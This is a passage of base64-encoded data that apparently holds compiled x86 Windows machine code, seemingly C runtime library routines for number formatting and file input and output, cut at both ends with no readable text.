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BGa7PxNmiZ1e////2a1e////u8zpQgDZ5YmVbP///5vdvWD////GhXD///8Am4qNYf///9Dh0PnQwYrBJA/XD77AgeEEBAAAi9oD2IPDEP8jgHoOBXURZoudXP///4DPAoDn/rM/6wRmuz8TZomdXv///9mtXv///7vM6UIA2eWJlWz///+b3b1g////xoVw////ANnJio1h////2eWb3b1g////2cmKrWH////Q5dD90MWKxSQP14rg0OHQ+dDBisEkD9fQ5NDkCsQPvsCB4QQEAACL2gPYg8MQ/yPowQAAANnJ3djD6LcAAADr9t3Y3djZ7sPd2N3Y2ejD271i////261i////9oVp////QHQIxoVw////B8PGhXD///8B3AXE6UIAw9nJ271i////261i////9oVp////QHQJxoVw////B+sHxoVw////Ad7Bw9u9Yv///9utYv////aFaf///0B0INnJ271i////261i////9oVp////QHQJxoVw////B+sHxoVw////Ad7Bw93Y3djbLbDpQgCAvXD///8AfwfGhXD///8BCsnDCsl0Atngw8zMzMzMzFWL7IPE4IlF4ItFGIlF8ItFHIlF9OsJVYvsg8TgiUXg3V34iU3ki0UQi00UiUXoiU3sjUUIjU3gUFFS6EYyAACDxAzdRfhmgX0IfwJ0A9ltCMnDzMzMzMzMzMzMzMzMzNnA2fzc4dnJ2eDZ8Nno3sHZ/d3Zw4tUJASB4gADAACDyn9miVQkBtlsJAbDqQAACAB0BrgHAAAAw9wF4OlCALgBAAAAw4tCBCUAAPB/PQAA8H90A90Cw4tCBIPsCg0AAP9/iUQkBotCBIsKD6TIC8HhC4lEJASJDCTbLCSDxAqpAAAAAItCBMOLRCQIJQAA8H89AADwf3QBw4tEJAjDZoE8JH8CdAPZLCRaw2aLBCRmPX8CdB5mg+AgdBWb3+Bmg+AgdAy4CAAAAOjp/v//WsPZLCRaw4PsCN0UJItEJASDxAglAADwf+sUg+wI3RQki0QkBIPECCUAAPB/dD09AADwf3RfZosEJGY9fwJ0KmaD4CB1IZvf4GaD4CB0GLgIAAAAg/oddAfoi/7//1rD6G3+//9aw9ksJFrD3QUM6kIA2cnZ/d3Z2cDZ4dwd/OlCAJvf4J64BAAAAHPH3A0c6kIA67/dBQTqQgDZ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